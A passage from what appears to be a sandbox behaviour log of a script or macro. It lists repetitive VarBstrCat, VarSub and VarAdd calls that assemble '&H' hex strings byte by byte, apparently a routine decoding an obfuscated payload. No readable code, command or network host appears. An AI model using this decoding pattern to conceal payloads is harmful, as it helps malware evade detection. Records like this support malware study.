bstrRight="9", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.272] VarBstrCat (in: bstrLeft="&H9", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.272] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.272] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.272] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.272] VarBstrCat (in: bstrLeft="&H", bstrRight="b", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.272] VarBstrCat (in: bstrLeft="&Hb", bstrRight="5", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.273] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.273] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.273] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.273] VarBstrCat (in: bstrLeft="&H", bstrRight="d", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.273] VarBstrCat (in: bstrLeft="&Hd", bstrRight="b", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.273] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.273] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.273] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.273] VarBstrCat (in: bstrLeft="&H", bstrRight="0", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.273] VarBstrCat (in: bstrLeft="&H0", bstrRight="3", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.273] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.274] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.274] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.274] VarBstrCat (in: bstrLeft="&H", bstrRight="9", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.274] VarBstrCat (in: bstrLeft="&H9", bstrRight="0", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.274] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.400] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.400] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.400] VarBstrCat (in: bstrLeft="&H", bstrRight="4", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.400] VarBstrCat (in: bstrLeft="&H4", bstrRight="e", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.400] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.400] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.400] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.400] VarBstrCat (in: bstrLeft="&H", bstrRight="5", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.400] VarBstrCat (in: bstrLeft="&H5", bstrRight="0", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.401] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.401] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.401] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.401] VarBstrCat (in: bstrLeft="&H", bstrRight="2", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.401] VarBstrCat (in: bstrLeft="&H2", bstrRight="6", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.401] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.401] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.401] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.401] VarBstrCat (in: bstrLeft="&H", bstrRight="8", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.401] VarBstrCat (in: bstrLeft="&H8", bstrRight="e", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.401] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.401] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.401] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.401] VarBstrCat (in: bstrLeft="&H", bstrRight="4", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.401] VarBstrCat (in: bstrLeft="&H4", bstrRight="6", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.402] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.402] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.402] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.402] VarBstrCat (in: bstrLeft="&H", bstrRight="0", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.402] VarBstrCat (in: bstrLeft="&H0", bstrRight="a", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.402] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.402] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.402] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.402] VarBstrCat (in: bstrLeft="&H", bstrRight="b", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.402] VarBstrCat (in: bstrLeft="&Hb", bstrRight="4", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.402] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.402] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.402] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.402] VarBstrCat (in: bstrLeft="&H", bstrRight="d", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.403] VarBstrCat (in: bstrLeft="&Hd", bstrRight="2", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.403] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.403] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.403] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.403] VarBstrCat (in: bstrLeft="&H", bstrRight="9", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.403] VarBstrCat (in: bstrLeft="&H9", bstrRight="0", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.403] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.403] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.403] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.403] VarBstrCat (in: bstrLeft="&H", bstrRight="3", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.403] VarBstrCat (in: bstrLeft="&H3", bstrRight="5", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.403] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.403] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.404] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.404] VarBstrCat (in: bstrLeft="&H", bstrRight="8", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.404] VarBstrCat (in: bstrLeft="&H8", bstrRight="b", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.404] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.404] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.404] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.404] VarBstrCat (in: bstrLeft="&H", bstrRight="1", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.404] VarBstrCat (in: bstrLeft="&H1", bstrRight="c", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.404] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.404] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.404] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.404] VarBstrCat (in: bstrLeft="&H", bstrRight="1", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.404] VarBstrCat (in: bstrLeft="&H1", bstrRight="2", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.404] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.404] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.404] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.404] VarBstrCat (in: bstrLeft="&H", bstrRight="9", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.405] VarBstrCat (in: bstrLeft="&H9", bstrRight="6", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.405] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.405] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.405] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.405] VarBstrCat (in: bstrLeft="&H", bstrRight="d", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.405] VarBstrCat (in: bstrLeft="&Hd", bstrRight="0", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.405] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.405] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.405] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.405] VarBstrCat (in: bstrLeft="&H", bstrRight="9", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.405] VarBstrCat (in: bstrLeft="&H9", bstrRight="2", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.405] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.405] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.405] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.405] VarBstrCat (in: bstrLeft="&H", bstrRight="d", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.405] VarBstrCat (in: bstrLeft="&Hd", bstrRight="e", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.405] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.405] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.406] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.406] VarBstrCat (in: bstrLeft="&H", bstrRight="2", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.406] VarBstrCat (in: bstrLeft="&H2", bstrRight="4", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.406] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.406] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.406] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.406] VarBstrCat (in: bstrLeft="&H", bstrRight="6", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.406] VarBstrCat (in: bstrLeft="&H6", bstrRight="2", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.406] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.406] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.406] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.406] VarBstrCat (in: bstrLeft="&H", bstrRight="8", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.406] VarBstrCat (in: bstrLeft="&H8", bstrRight="a", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.406] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.406] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.406] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.406] VarBstrCat (in: bstrLeft="&H", bstrRight="b", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.406] VarBstrCat (in: bstrLeft="&Hb", bstrRight="b", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.406] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.407] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.407] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.407] VarBstrCat (in: bstrLeft="&H", bstrRight="3", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.407] VarBstrCat (in: bstrLeft="&H3", bstrRight="3", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.407] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.407] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.407] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.407] VarBstrCat (in: bstrLeft="&H", bstrRight="2", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.407] VarBstrCat (in: bstrLeft="&H2", bstrRight="c", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.407] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.407] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.407] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.407] VarBstrCat (in: bstrLeft="&H", bstrRight="d", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.407] VarBstrCat (in: bstrLeft="&Hd", bstrRight="d", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.407] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.407] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.407] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.407] VarBstrCat (in: bstrLeft="&H", bstrRight="d", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.407] VarBstrCat (in: bstrLeft="&Hd", bstrRight="0", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.408] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.408] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.408] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.408] VarBstrCat (in: bstrLeft="&H", bstrRight="1", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.408] VarBstrCat (in: bstrLeft="&H1", bstrRight="8", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.408] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.408] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.408] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.408] VarBstrCat (in: bstrLeft="&H", bstrRight="8", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.408] VarBstrCat (in: bstrLeft="&H8", bstrRight="3", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.408] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.408] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.408] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.408] VarBstrCat (in: bstrLeft="&H", bstrRight="6", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.408] VarBstrCat (in: bstrLeft="&H6", bstrRight="d", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.408] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.408] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.408] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.409] VarBstrCat (in: bstrLeft="&H", bstrRight="7", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.409] VarBstrCat (in: bstrLeft="&H7", bstrRight="d", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.409] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.409] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.409] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.409] VarBstrCat (in: bstrLeft="&H", bstrRight="5", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.409] VarBstrCat (in: bstrLeft="&H5", bstrRight="1", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.409] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.409] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.409] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.409] VarBstrCat (in: bstrLeft="&H", bstrRight="c", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.409] VarBstrCat (in: bstrLeft="&Hc", bstrRight="b", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.409] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.409] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.409] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.409] VarBstrCat (in: bstrLeft="&H", bstrRight="0", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.409] VarBstrCat (in: bstrLeft="&H0", bstrRight="6", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.409] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.410] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.410] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.410] VarBstrCat (in: bstrLeft="&H", bstrRight="d", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.410] VarBstrCat (in: bstrLeft="&Hd", bstrRight="c", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.410] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.410] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.410] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.410] VarBstrCat (in: bstrLeft="&H", bstrRight="2", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.410] VarBstrCat (in: bstrLeft="&H2", bstrRight="2", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.410] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.410] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.410] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.410] VarBstrCat (in: bstrLeft="&H", bstrRight="5", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.410] VarBstrCat (in: bstrLeft="&H5", bstrRight="a", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.410] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.410] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.410] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.410] VarBstrCat (in: bstrLeft="&H", bstrRight="d", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.410] VarBstrCat (in: bstrLeft="&Hd", bstrRight="8", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.411] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.411] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.411] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.411] VarBstrCat (in: bstrLeft="&H", bstrRight="2", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.411] VarBstrCat (in: bstrLeft="&H2", bstrRight="1", pbstrResult=0x197ab8 | out: 